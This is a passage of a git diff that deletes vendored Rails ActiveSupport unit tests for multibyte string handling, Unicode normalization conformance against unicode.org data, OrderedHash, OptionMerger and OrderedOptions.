-  def test_ord_should_return_unicode_value_for_first_character
-    assert_equal 12371, @chars.ord
-  end
-
-  def test_upcase_should_upcase_ascii_characters
-    assert_equal '', ''.mb_chars.upcase
-    assert_equal 'ABC', 'aBc'.mb_chars.upcase
-  end
-
-  def test_downcase_should_downcase_ascii_characters
-    assert_equal '', ''.mb_chars.downcase
-    assert_equal 'abc', 'aBc'.mb_chars.downcase
-  end
-
-  def test_capitalize_should_work_on_ascii_characters
-    assert_equal '', ''.mb_chars.capitalize
-    assert_equal 'Abc', 'abc'.mb_chars.capitalize
-  end
-
-  def test_respond_to_knows_which_methods_the_proxy_responds_to
-    assert ''.mb_chars.respond_to?(:slice) # Defined on Chars
-    assert ''.mb_chars.respond_to?(:capitalize!) # Defined on Chars
-    assert ''.mb_chars.respond_to?(:gsub) # Defined on String
-    assert !''.mb_chars.respond_to?(:undefined_method) # Not defined
-  end
-
-  def test_acts_like_string
-    assert 'Bambi'.mb_chars.acts_like_string?
-  end
-end
-
-# The default Multibyte Chars proxy has more features than the normal string implementation. Tests
-# for the implementation of these features should run on all Ruby versions and shouldn't be tested
-# through the proxy methods.
-class MultibyteCharsExtrasTest < Test::Unit::TestCase
-  include MultibyteTestHelpers
-
-  if RUBY_VERSION >= '1.9'
-    def test_tidy_bytes_is_broken_on_1_9_0
-      assert_raise(ArgumentError) do
-        assert_equal_codepoints [0xfffd].pack('U'), chars("\xef\xbf\xbd").tidy_bytes
-      end
-    end
-  end
-
-  def test_upcase_should_be_unicode_aware
-    assert_equal "АБВГД\0F", chars("аБвгд\0f").upcase
-    assert_equal 'こにちわ', chars('こにちわ').upcase
-  end
-
-  def test_downcase_should_be_unicode_aware
-    assert_equal "абвгд\0f", chars("аБвгд\0f").downcase
-    assert_equal 'こにちわ', chars('こにちわ').downcase
-  end
-
-  def test_capitalize_should_be_unicode_aware
-    { 'аБвг аБвг' => 'Абвг абвг',
-      'аБвг АБВГ' => 'Абвг абвг',
-      'АБВГ АБВГ' => 'Абвг абвг',
-      '' => '' }.each do |f,t|
-        assert_equal t, chars(f).capitalize
-    end
-  end
-
-  def test_composition_exclusion_is_set_up_properly
-    # Normalization of DEVANAGARI LETTER QA breaks when composition exclusion isn't used correctly
-    qa = [0x915, 0x93c].pack('U*')
-    assert_equal qa, chars(qa).normalize(:c)
-  end
-
-  # Test for the Public Review Issue #29, bad explanation of composition might lead to a
-  # bad implementation: http://www.unicode.org/review/pr-29.html
-  def test_normalization_C_pri_29
-    [
-      [0x0B47, 0x0300, 0x0B3E],
-      [0x1100, 0x0300, 0x1161]
-    ].map { |c| c.pack('U*') }.each do |c|
-      assert_equal_codepoints c, chars(c).normalize(:c)
-    end
-  end
-
-  def test_normalization_shouldnt_strip_null_bytes
-    null_byte_str = "Test\0test"
-
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:kc)
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:c)
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:d)
-    assert_equal null_byte_str, chars(null_byte_str).normalize(:kd)
-    assert_equal null_byte_str, chars(null_byte_str).decompose
-    assert_equal null_byte_str, chars(null_byte_str).compose
-  end
-
-  def test_simple_normalization
-    comp_str = [
-      44,  # LATIN CAPITAL LETTER D
-      307, # COMBINING DOT ABOVE
-      328, # COMBINING OGONEK
-      323 # COMBINING DOT BELOW
-    ].pack("U*")
-
-    assert_equal_codepoints '', chars('').normalize
-    assert_equal_codepoints [44,105,106,328,323].pack("U*"), chars(comp_str).normalize(:kc).to_s
-    assert_equal_codepoints [44,307,328,323].pack("U*"), chars(comp_str).normalize(:c).to_s
-    assert_equal_codepoints [44,307,110,780,78,769].pack("U*"), chars(comp_str).normalize(:d).to_s
-    assert_equal_codepoints [44,105,106,110,780,78,769].pack("U*"), chars(comp_str).normalize(:kd).to_s
-  end
-
-  def test_should_compute_grapheme_length
-    [
-      ['', 0],
-      ['abc', 3],
-      ['こにちわ', 4],
-      [[0x0924, 0x094D, 0x0930].pack('U*'), 2],
-      [%w(cr lf), 1],
-      [%w(l l), 1],
-      [%w(l v), 1],
-      [%w(l lv), 1],
-      [%w(l lvt), 1],
-      [%w(lv v), 1],
-      [%w(lv t), 1],
-      [%w(v v), 1],
-      [%w(v t), 1],
-      [%w(lvt t), 1],
-      [%w(t t), 1],
-      [%w(n extend), 1],
-      [%w(n n), 2],
-      [%w(n cr lf n), 3],
-      [%w(n l v t), 2]
-    ].each do |input, expected_length|
-      if input.kind_of?(Array)
-        str = string_from_classes(input)
-      else
-        str = input
-      end
-      assert_equal expected_length, chars(str).g_length
-    end
-  end
-
-  def test_tidy_bytes_should_tidy_bytes
-    byte_string = "\270\236\010\210\245"
-    tidy_string = [0xb8, 0x17e, 0x8, 0x2c6, 0xa5].pack('U*')
-    ascii_padding = 'aa'
-    utf8_padding = 'éé'
-
-    assert_equal_codepoints tidy_string, chars(byte_string).tidy_bytes
-
-    assert_equal_codepoints ascii_padding.dup.insert(1, tidy_string),
-      chars(ascii_padding.dup.insert(1, byte_string)).tidy_bytes
-    assert_equal_codepoints utf8_padding.dup.insert(2, tidy_string),
-      chars(utf8_padding.dup.insert(2, byte_string)).tidy_bytes
-    assert_nothing_raised { chars(byte_string).tidy_bytes.to_s.unpack('U*') }
-
-    assert_equal_codepoints "\xC3\xA7", chars("\xE7").tidy_bytes # iso_8859_1: small c cedilla
-    assert_equal_codepoints "\xE2\x80\x9C", chars("\x93").tidy_bytes # win_1252: left smart quote
-    assert_equal_codepoints "\xE2\x82\xAC", chars("\x80").tidy_bytes # win_1252: euro
-    assert_equal_codepoints "\x00", chars("\x00").tidy_bytes # null char
-    assert_equal_codepoints [0xfffd].pack('U'), chars("\xef\xbf\xbd").tidy_bytes # invalid char
-  rescue ArgumentError => e
-    raise e if RUBY_VERSION < '1.9'
-  end
-
-  private
-
-  def string_from_classes(classes)
-    # Characters from the character classes as described in UAX #29
-    character_from_class = {
-      :l => 0x1100, :v => 0x1160, :t => 0x11A8, :lv => 0xAC00, :lvt => 0xAC01, :cr => 0x000D, :lf => 0x000A,
-      :extend => 0x094D, :n => 0x64
-    }
-    classes.collect do |k|
-      character_from_class[k.intern]
-    end.pack('U*')
-  end
-end
diff --git a/vendor/rails/activesupport/test/multibyte_conformance.rb b/vendor/rails/activesupport/test/multibyte_conformance.rb
deleted file mode 100644
index caae4791..00000000
--- a/vendor/rails/activesupport/test/multibyte_conformance.rb
+++ /dev/null
@@ -1,129 +0,0 @@
-# encoding: utf-8
-
-require 'abstract_unit'
-require 'multibyte_test_helpers'
-
-require 'fileutils'
-require 'open-uri'
-require 'tmpdir'
-
-class Downloader
-  def self.download(from, to)
-    unless File.exist?(to)
-      $stderr.puts "Downloading #{from} to #{to}"
-      unless File.exist?(File.dirname(to))
-        system "mkdir -p #{File.dirname(to)}"
-      end
-      open(from) do |source|
-        File.open(to, 'w') do |target|
-          source.each_line do |l|
-            target.write l
-          end
-        end
-       end
-     end
-  end
-end
-
-class MultibyteConformanceTest < Test::Unit::TestCase
-  include MultibyteTestHelpers
-  
-  UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::UNICODE_VERSION}/ucd"
-  UNIDATA_FILE = '/NormalizationTest.txt'
-  CACHE_DIR = File.join(Dir.tmpdir, 'cache')
-  
-  def setup
-    FileUtils.mkdir_p(CACHE_DIR)
-    Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
-    @proxy = ActiveSupport::Multibyte::Chars
-  end
-  
-  def test_normalizations_C
-    each_line_of_norm_tests do |*cols|
-      col1, col2, col3, col4, col5, comment = *cols
-      
-      # CONFORMANCE:
-      # 1. The following invariants must be true for all conformant implementations
-      #
-      #    NFC
-      #      c2 ==  NFC(c1) ==  NFC(c2) ==  NFC(c3)
-      assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}"
-      assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}"
-      assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}"
-      #
-      #      c4 ==  NFC(c4) ==  NFC(c5)
-      assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}"
-    end
-  end
-  
-  def test_normalizations_D
-    each_line_of_norm_tests do |*cols|
-      col1, col2, col3, col4, col5, comment = *cols
-      #
-      #    NFD
-      #      c3 ==  NFD(c1) ==  NFD(c2) ==  NFD(c3)
-      assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}"
-      assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}"
-      assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}"
-      #      c5 ==  NFD(c4) ==  NFD(c5)
-      assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}"
-    end
-  end
-  
-  def test_normalizations_KC
-    each_line_of_norm_tests do | *cols |
-      col1, col2, col3, col4, col5, comment = *cols  
-      #
-      #    NFKC
-      #      c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5)
-      assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}"
-      assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}"
-    end
-  end
-  
-  def test_normalizations_KD
-    each_line_of_norm_tests do | *cols |
-      col1, col2, col3, col4, col5, comment = *cols  
-      #
-      #    NFKD
-      #      c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5)
-      assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}"
-      assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}"
-    end
-  end
-  
-  protected
-    def each_line_of_norm_tests(&block)
-      lines = 0
-      max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile
-      File.open(File.join(CACHE_DIR, UNIDATA_FILE), 'r') do | f |
-        until f.eof? || (max_test_lines > 38 and lines > max_test_lines)
-          lines += 1
-          line = f.gets.chomp!
-          next if (line.empty? || line =~ /^\#/)      
-          
-          cols, comment = line.split("#")
-          cols = cols.split(";").map{|e| e.strip}.reject{|e| e.empty? }
-          next unless cols.length == 5
-          
-          # codepoints are in hex in the test suite, pack wants them as integers
-          cols.map!{|c| c.split.map{|codepoint| codepoint.to_i(16)}.pack("U*") }
-          cols << comment
-          
-          yield(*cols)
-        end
-      end
-    end
-    
-    def inspect_codepoints(str)
-      str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ')
-    end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/multibyte_test_helpers.rb b/vendor/rails/activesupport/test/multibyte_test_helpers.rb
deleted file mode 100644
index 597f9490..00000000
--- a/vendor/rails/activesupport/test/multibyte_test_helpers.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# encoding: utf-8
-
-module MultibyteTestHelpers
-  UNICODE_STRING = 'こにちわ'
-  ASCII_STRING = 'ohayo'
-  BYTE_STRING = "\270\236\010\210\245"
-
-  def chars(str)
-    ActiveSupport::Multibyte::Chars.new(str)
-  end
-
-  def inspect_codepoints(str)
-    str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ')
-  end
-
-  def assert_equal_codepoints(expected, actual, message=nil)
-    assert_equal(inspect_codepoints(expected), inspect_codepoints(actual), message)
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/test/multibyte_unicode_database_test.rb b/vendor/rails/activesupport/test/multibyte_unicode_database_test.rb
deleted file mode 100644
index 405c7c21..00000000
--- a/vendor/rails/activesupport/test/multibyte_unicode_database_test.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-
-class MultibyteUnicodeDatabaseTest < Test::Unit::TestCase
-  def setup
-    @ucd = ActiveSupport::Multibyte::UnicodeDatabase.new
-  end
-
-  ActiveSupport::Multibyte::UnicodeDatabase::ATTRIBUTES.each do |attribute|
-    define_method "test_lazy_loading_on_attribute_access_of_#{attribute}" do
-      @ucd.expects(:load)
-      @ucd.send(attribute)
-    end
-  end
-  
-  def test_load
-    @ucd.load
-    ActiveSupport::Multibyte::UnicodeDatabase::ATTRIBUTES.each do |attribute|
-      assert @ucd.send(attribute).length > 1
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/test/multibyte_utils_test.rb b/vendor/rails/activesupport/test/multibyte_utils_test.rb
deleted file mode 100644
index 0a2f20d2..00000000
--- a/vendor/rails/activesupport/test/multibyte_utils_test.rb
+++ /dev/null
@@ -1,137 +0,0 @@
-# encoding: utf-8
-
-require 'abstract_unit'
-require 'multibyte_test_helpers'
-
-class MultibyteUtilsTest < ActiveSupport::TestCase
-  include MultibyteTestHelpers
-
-  test "valid_character returns an expression for the current encoding" do
-    with_encoding('None') do
-      assert_nil ActiveSupport::Multibyte.valid_character
-    end
-    with_encoding('UTF8') do
-      assert_equal ActiveSupport::Multibyte::VALID_CHARACTER['UTF-8'], ActiveSupport::Multibyte.valid_character
-    end
-    with_encoding('SJIS') do
-      assert_equal ActiveSupport::Multibyte::VALID_CHARACTER['Shift_JIS'], ActiveSupport::Multibyte.valid_character
-    end
-  end
-
-  test "verify verifies ASCII strings are properly encoded" do
-    with_encoding('None') do
-      examples.each do |example|
-        assert ActiveSupport::Multibyte.verify(example)
-      end
-    end
-  end
-
-  test "verify verifies UTF-8 strings are properly encoded" do
-    with_encoding('UTF8') do
-      assert ActiveSupport::Multibyte.verify(example('valid UTF-8'))
-      assert !ActiveSupport::Multibyte.verify(example('invalid UTF-8'))
-    end
-  end
-
-  test "verify verifies Shift-JIS strings are properly encoded" do
-    with_encoding('SJIS') do
-      assert ActiveSupport::Multibyte.verify(example('valid Shift-JIS'))
-      assert !ActiveSupport::Multibyte.verify(example('invalid Shift-JIS'))
-    end
-  end
-
-  test "verify! raises an exception when it finds an invalid character" do
-    with_encoding('UTF8') do
-      assert_raises(ActiveSupport::Multibyte::EncodingError) do
-        ActiveSupport::Multibyte.verify!(example('invalid UTF-8'))
-      end
-    end
-  end
-
-  test "verify! doesn't raise an exception when the encoding is valid" do
-    with_encoding('UTF8') do
-      assert_nothing_raised do
-        ActiveSupport::Multibyte.verify!(example('valid UTF-8'))
-      end
-    end
-  end
-
-  if RUBY_VERSION < '1.9'
-    test "clean leaves ASCII strings intact" do
-      with_encoding('None') do
-        [
-          'word', "\270\236\010\210\245"
-        ].each do |string|
-          assert_equal string, ActiveSupport::Multibyte.clean(string)
-        end
-      end
-    end
-
-    test "clean cleans invalid characters from UTF-8 encoded strings" do
-      with_encoding('UTF8') do
-        cleaned_utf8 = [8].pack('C*')
-        assert_equal example('valid UTF-8'), ActiveSupport::Multibyte.clean(example('valid UTF-8'))
-        assert_equal cleaned_utf8, ActiveSupport::Multibyte.clean(example('invalid UTF-8'))
-      end
-    end
-
-    test "clean cleans invalid characters from Shift-JIS encoded strings" do
-      with_encoding('SJIS') do
-        cleaned_sjis = [184, 0, 136, 165].pack('C*')
-        assert_equal example('valid Shift-JIS'), ActiveSupport::Multibyte.clean(example('valid Shift-JIS'))
-        assert_equal cleaned_sjis, ActiveSupport::Multibyte.clean(example('invalid Shift-JIS'))
-      end
-    end
-  else
-    test "clean is a no-op" do
-      with_encoding('UTF8') do
-        assert_equal example('invalid Shift-JIS'), ActiveSupport::Multibyte.clean(example('invalid Shift-JIS'))
-      end
-    end
-  end
-
-  private
-
-  STRINGS = {
-    'valid ASCII'       => [65, 83, 67, 73, 73].pack('C*'),
-    'invalid ASCII'     => [128].pack('C*'),
-    'valid UTF-8'       => [227, 129, 147, 227, 129, 171, 227, 129, 161, 227, 130, 143].pack('C*'),
-    'invalid UTF-8'     => [184, 158, 8, 136, 165].pack('C*'),
-    'valid Shift-JIS'   => [131, 122, 129, 91, 131, 128].pack('C*'),
-    'invalid Shift-JIS' => [184, 158, 8, 0, 255, 136, 165].pack('C*')
-  }
-
-  if Kernel.const_defined?(:Encoding)
-    def example(key)
-      STRINGS[key].force_encoding(Encoding.default_external)
-    end
-
-    def examples
-      STRINGS.values.map { |s| s.force_encoding(Encoding.default_external) }
-    end
-  else
-    def example(key)
-      STRINGS[key]
-    end
-
-    def examples
-      STRINGS.values
-    end
-  end
-
-  if 'string'.respond_to?(:encoding)
-    KCODE_TO_ENCODING = Hash.new(Encoding::BINARY).
-      update('UTF8' => Encoding::UTF_8, 'SJIS' => Encoding::Shift_JIS)
-
-    def with_encoding(enc)
-      before = Encoding.default_external
-      silence_warnings { Encoding.default_external = KCODE_TO_ENCODING[enc] }
-
-      yield
-
-      silence_warnings { Encoding.default_external = before }
-    end
-  else
-    alias with_encoding with_kcode
-  end
-end
diff --git a/vendor/rails/activesupport/test/option_merger_test.rb b/vendor/rails/activesupport/test/option_merger_test.rb
deleted file mode 100644
index f26d6161..00000000
--- a/vendor/rails/activesupport/test/option_merger_test.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-require 'abstract_unit'
-
-class OptionMergerTest < Test::Unit::TestCase
-  def setup
-    @options = {:hello => 'world'}
-  end
-
-  def test_method_with_options_merges_options_when_options_are_present
-    local_options = {:cool => true}
-
-    with_options(@options) do |o|
-      assert_equal local_options, method_with_options(local_options)
-      assert_equal @options.merge(local_options),
-        o.method_with_options(local_options)
-    end
-  end
-
-  def test_method_with_options_appends_options_when_options_are_missing
-    with_options(@options) do |o|
-      assert_equal Hash.new, method_with_options
-      assert_equal @options, o.method_with_options
-    end
-  end
-
-  def test_method_with_options_allows_to_overwrite_options
-    local_options = {:hello => 'moon'}
-    assert_equal @options.keys, local_options.keys
-
-    with_options(@options) do |o|
-      assert_equal local_options, method_with_options(local_options)
-      assert_equal @options.merge(local_options),
-        o.method_with_options(local_options)
-      assert_equal local_options, o.method_with_options(local_options)
-    end
-    with_options(local_options) do |o|
-      assert_equal local_options.merge(@options),
-        o.method_with_options(@options)
-    end
-  end
-
-  def test_nested_method_with_options_containing_hashes_merge
-    with_options :conditions => { :method => :get } do |outer|
-      outer.with_options :conditions => { :domain => "www" } do |inner|
-        expected = { :conditions => { :method => :get, :domain => "www" } }
-        assert_equal expected, inner.method_with_options
-      end
-    end
-  end
-
-  def test_nested_method_with_options_containing_hashes_overwrite
-    with_options :conditions => { :method => :get, :domain => "www" } do |outer|
-      outer.with_options :conditions => { :method => :post } do |inner|
-        expected = { :conditions => { :method => :post, :domain => "www" } }
-        assert_equal expected, inner.method_with_options
-      end
-    end
-  end
-
-  def test_nested_method_with_options_containing_hashes_going_deep
-    with_options :html => { :class => "foo", :style => { :margin => 0, :display => "block" } } do |outer|
-      outer.with_options :html => { :title => "bar", :style => { :margin => "1em", :color => "#fff" } } do |inner|
-        expected = { :html => { :class => "foo", :title => "bar", :style => { :margin => "1em", :display => "block", :color => "#fff" } } }
-        assert_equal expected, inner.method_with_options
-      end
-    end
-  end
-  
-  def test_nested_method_with_options_using_lamdba
-    local_lamdba = lambda { { :lambda => true } }
-    with_options(@options) do |o|
-      assert_equal @options.merge(local_lamdba.call),
-        o.method_with_options(local_lamdba).call
-    end
-  end
-
-  # Needed when counting objects with the ObjectSpace
-  def test_option_merger_class_method
-    assert_equal ActiveSupport::OptionMerger, ActiveSupport::OptionMerger.new('', '').class
-  end
-
-  private
-    def method_with_options(options = {})
-      options
-    end
-end
diff --git a/vendor/rails/activesupport/test/ordered_hash_test.rb b/vendor/rails/activesupport/test/ordered_hash_test.rb
deleted file mode 100644
index 526cc228..00000000
--- a/vendor/rails/activesupport/test/ordered_hash_test.rb
+++ /dev/null
@@ -1,263 +0,0 @@
-require 'abstract_unit'
-
-class OrderedHashTest < Test::Unit::TestCase
-  def setup
-    @keys =   %w( blue   green  red    pink   orange )
-    @values = %w( 000099 009900 aa0000 cc0066 cc6633 )
-    @hash = Hash.new
-    @ordered_hash = ActiveSupport::OrderedHash.new
-
-    @keys.each_with_index do |key, index|
-      @hash[key] = @values[index]
-      @ordered_hash[key] = @values[index]
-    end
-  end
-
-  def test_order
-    assert_equal @keys,   @ordered_hash.keys
-    assert_equal @values, @ordered_hash.values
-  end
-
-  def test_access
-    assert @hash.all? { |k, v| @ordered_hash[k] == v }
-  end
-
-  def test_assignment
-    key, value = 'purple', '5422a8'
-
-    @ordered_hash[key] = value
-    assert_equal @keys.length + 1, @ordered_hash.length
-    assert_equal key, @ordered_hash.keys.last
-    assert_equal value, @ordered_hash.values.last
-    assert_equal value, @ordered_hash[key]
-  end
-
-  def test_delete
-    key, value = 'white', 'ffffff'
-    bad_key = 'black'
-
-    @ordered_hash[key] = value
-    assert_equal @keys.length + 1, @ordered_hash.length
-    assert_equal @ordered_hash.keys.length, @ordered_hash.length
-
-    assert_equal value, @ordered_hash.delete(key)
-    assert_equal @keys.length, @ordered_hash.length
-    assert_equal @ordered_hash.keys.length, @ordered_hash.length
-
-    assert_nil @ordered_hash.delete(bad_key)
-  end
-
-  def test_to_hash
-    assert_same @ordered_hash, @ordered_hash.to_hash
-  end
-
-  def test_to_a
-    assert_equal @keys.zip(@values), @ordered_hash.to_a
-  end
-
-  def test_has_key
-    assert_equal true, @ordered_hash.has_key?('blue')
-    assert_equal true, @ordered_hash.key?('blue')
-    assert_equal true, @ordered_hash.include?('blue')
-    assert_equal true, @ordered_hash.member?('blue')
-
-    assert_equal false, @ordered_hash.has_key?('indigo')
-    assert_equal false, @ordered_hash.key?('indigo')
-    assert_equal false, @ordered_hash.include?('indigo')
-    assert_equal false, @ordered_hash.member?('indigo')
-  end
-
-  def test_has_value
-    assert_equal true, @ordered_hash.has_value?('000099')
-    assert_equal true, @ordered_hash.value?('000099')
-    assert_equal false, @ordered_hash.has_value?('ABCABC')
-    assert_equal false, @ordered_hash.value?('ABCABC')
-  end
-
-  def test_each_key
-    keys = []
-    @ordered_hash.each_key { |k| keys << k }
-    assert_equal @keys, keys
-  end
-
-  def test_each_value
-    values = []
-    @ordered_hash.each_value { |v| values << v }
-    assert_equal @values, values
-  end
-
-  def test_each
-    values = []
-    @ordered_hash.each {|key, value| values << value}
-    assert_equal @values, values
-  end
-
-  def test_each_with_index
-    @ordered_hash.each_with_index { |pair, index| assert_equal [@keys[index], @values[index]], pair}
-  end
-
-  def test_each_pair
-    values = []
-    keys = []
-    @ordered_hash.each_pair do |key, value|
-      keys << key
-      values << value
-    end
-    assert_equal @values, values
-    assert_equal @keys, keys
-  end
-
-  def test_delete_if
-    copy = @ordered_hash.dup
-    copy.delete('pink')
-    assert_equal copy, @ordered_hash.delete_if { |k, _| k == 'pink' }
-    assert !@ordered_hash.keys.include?('pink')
-  end
-
-  def test_reject!
-    (copy = @ordered_hash.dup).delete('pink')
-    @ordered_hash.reject! { |k, _| k == 'pink' }
-    assert_equal copy, @ordered_hash
-    assert !@ordered_hash.keys.include?('pink')
-  end
-
-  def test_reject
-    copy = @ordered_hash.dup
-    new_ordered_hash = @ordered_hash.reject { |k, _| k == 'pink' }
-    assert_equal copy, @ordered_hash
-    assert !new_ordered_hash.keys.include?('pink')
-    assert @ordered_hash.keys.include?('pink')
-  end
-
-  def test_clear
-    @ordered_hash.clear
-    assert_equal [], @ordered_hash.keys
-  end
-
-  def test_merge
-    other_hash =  ActiveSupport::OrderedHash.new
-    other_hash['purple'] = '800080'
-    other_hash['violet'] = 'ee82ee'
-    merged = @ordered_hash.merge other_hash
-    assert_equal merged.length, @ordered_hash.length + other_hash.length
-    assert_equal @keys + ['purple', 'violet'], merged.keys
-
-    @ordered_hash.merge! other_hash
-    assert_equal @ordered_hash, merged
-    assert_equal @ordered_hash.keys, merged.keys
-  end
-
-  def test_merge_with_block
-    hash = ActiveSupport::OrderedHash.new
-    hash[:a] = 0
-    hash[:b] = 0
-    merged = hash.merge(:b => 2, :c => 7) do |key, old_value, new_value|
-      new_value + 1
-    end
-
-    assert_equal 0, merged[:a]
-    assert_equal 3, merged[:b]
-    assert_equal 7, merged[:c]
-  end
-
-  def test_merge_bang_with_block
-    hash = ActiveSupport::OrderedHash.new
-    hash[:a] = 0
-    hash[:b] = 0
-    hash.merge!(:a => 1, :c => 7) do |key, old_value, new_value|
-      new_value + 3
-    end
-
-    assert_equal 4, hash[:a]
-    assert_equal 0, hash[:b]
-    assert_equal 7, hash[:c]
-  end
-
-  def test_shift
-    pair = @ordered_hash.shift
-    assert_equal [@keys.first, @values.first], pair
-    assert !@ordered_hash.keys.include?(pair.first)
-  end
-  
-  def test_keys
-    original = @ordered_hash.keys.dup
-    @ordered_hash.keys.pop
-    assert_equal original, @ordered_hash.keys
-  end
-
-  def test_inspect
-    assert @ordered_hash.inspect.include?(@hash.inspect)
-  end
-
-  def test_alternate_initialization_with_splat
-    alternate = ActiveSupport::OrderedHash[1,2,3,4]
-    assert_kind_of ActiveSupport::OrderedHash, alternate
-    assert_equal [1, 3], alternate.keys
-  end
-
-  def test_alternate_initialization_with_array
-    alternate = ActiveSupport::OrderedHash[ [
-      [1, 2],
-      [3, 4],
-      "bad key value pair",
-      [ 'missing value' ]
-    ]]
-
-    assert_kind_of ActiveSupport::OrderedHash, alternate
-    assert_equal [1, 3, 'missing value'], alternate.keys
-    assert_equal [2, 4, nil ], alternate.values
-  end
-
-  def test_alternate_initialization_raises_exception_on_odd_length_args
-    begin
-      alternate = ActiveSupport::OrderedHash[1,2,3,4,5]
-      flunk "Hash::[] should have raised an exception on initialization " +
-          "with an odd number of parameters"
-    rescue
-      assert_equal "odd number of arguments for Hash", $!.message
-    end
-  end
-
-  def test_replace_updates_keys
-    @other_ordered_hash = ActiveSupport::OrderedHash[:black, '000000', :white, '000000']
-    original = @ordered_hash.replace(@other_ordered_hash)
-    assert_same original, @ordered_hash
-    assert_equal @other_ordered_hash.keys, @ordered_hash.keys
-  end
-
-  def test_each_after_yaml_serialization
-    values = []
-    @deserialized_ordered_hash = YAML::load(YAML::dump(@ordered_hash))
-
-    @deserialized_ordered_hash.each {|key, value| values << value}
-    assert_equal @values, values
-  end
-
-  def test_order_after_yaml_serialization
-    @deserialized_ordered_hash = YAML::load(YAML::dump(@ordered_hash))
-
-    assert_equal @keys,   @deserialized_ordered_hash.keys
-    assert_equal @values, @deserialized_ordered_hash.values
-  end
-
-  def test_order_after_yaml_serialization_with_nested_arrays
-    @ordered_hash[:array] = %w(a b c)
-
-    @deserialized_ordered_hash = YAML::load(YAML::dump(@ordered_hash))
-
-    assert_equal @ordered_hash.keys,   @deserialized_ordered_hash.keys
-    assert_equal @ordered_hash.values, @deserialized_ordered_hash.values
-  end
-
-  def test_update_sets_keys
-    @updated_ordered_hash = ActiveSupport::OrderedHash.new
-    @updated_ordered_hash.update(:name => "Bob")
-    assert_equal [:name],  @updated_ordered_hash.keys
-  end
-
-  def test_invert
-    expected = ActiveSupport::OrderedHash[@values.zip(@keys)]
-    assert_equal expected, @ordered_hash.invert
-    assert_equal @values.zip(@keys), @ordered_hash.invert.to_a
-  end
-end
diff --git a/vendor/rails/activesupport/test/ordered_options_test.rb b/vendor/rails/activesupport/test/ordered_options_test.rb
deleted file mode 100644
index e48425ca..00000000
--- a/vendor/rails/activesupport/test/ordered_options_test.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-require 'abstract_unit'
-
-class OrderedOptionsTest < Test::Unit::TestCase
-  def test_usage
-    a = ActiveSupport::OrderedOptions.new
-
-    assert_nil a[:not_set]
-
-    a[:allow_concurreny] = true
-    assert_equal 1, a.size
-    assert a[:allow_concurreny]
-
-    a[:allow_concurreny] = false
-    assert_equal 1, a.size
-    assert !a[:allow_concurreny]
-
-    a["else_where"] = 56
-    assert_equal 2, a.size
-    assert_equal 56, a[:else_where]
-  end
-
-  def test_looping
-    a = ActiveSupport::OrderedOptions.new
-
-    a[:allow_concurreny] = true
-    a["else_where"] = 56
-
-    test = [[:allow_concurreny, true], [:else_where, 56]]
-
-    a.each_with_index do |(key, value), index|
-      assert_equal test[index].first, key
-      assert_equal test[index].last, value
-    end
-  end
-
-  def test_method_access
-    a = ActiveSupport::OrderedOptions.new
-
-    assert_nil a.not_set
-
-    a.allow_concurreny = true
-    assert_equal 1, a.size
-    assert a.allow_concurreny
-
-    a.allow_concurreny = false
-    assert_equal 1, a.size
-    assert !a.allow_concurreny
-
-    a.else_where = 56
-    assert_equal 2, a.size
-    assert_equal 56, a.else_where
-  end
-end
